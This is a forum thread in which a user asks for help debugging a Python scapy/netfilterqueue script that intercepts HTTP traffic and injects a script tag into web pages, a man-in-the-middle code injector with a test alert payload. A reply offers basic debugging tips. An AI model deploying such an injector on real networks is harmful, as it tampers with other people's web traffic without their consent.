AttributeError:

please i am getting this error message, File “/root/PycharmProjects/code_injector/code_injector.py”, line 16, in process_packet
if scapy_packet.haslayer(scapy.Raw):
AttributeError: ‘NoneType’ object has no attribute ‘haslayer’
while executing the below code with python 3

#!/usr/bin/env python
import netfilterqueue
import scapy.all as scapy
import re

def set_load(packet, load):
packet[scapy.Raw].load = load
del packet[scapy.IP].len
del packet[scapy.IP].chksum
del packet[scapy.TCP].chksum
return packet

def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.Raw):
load = scapy_packet[scapy.Raw].load.decode()
if scapy_packet[scapy.TCP].dport == 80:
print(“[+] Request”)
load = re.sub(“Accept-Encoding:.*?\r\n”, “”, load)

        elif scapy_packet[scapy.TCP].sport == 80:
            print("[+] Response")
            injection_code = "<script>alert('test');</script>"
            load = load.replace("</body>", injection_code + "</body>")
            content_length_search = re.search("(?:Content-Length:\s)(\d*)", load)
            if content_length_search and "text/html" in load:
                content_length = content_length_search.group(1)
                new_content_length = int(content_length) + len(injection_code)
                load = load.replace(content_length, bytes(new_content_length))

        if load != scapy_packet[scapy.Raw].load:
            new_packet = set_load(scapy_packet, load)
            packet.set_payload(str(new_packet))

packet.accept()

queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()

The error means your scapy_packet variable is empty. Try printing scapy_packet and see if it is Null or not. If it is Null then your scapy.IP is not returning anything. Also print packet.get_payload() and see what the output it.
Attach screenshots. It is very difficult to read the python program because of bad formatting.

thank you i later resolved it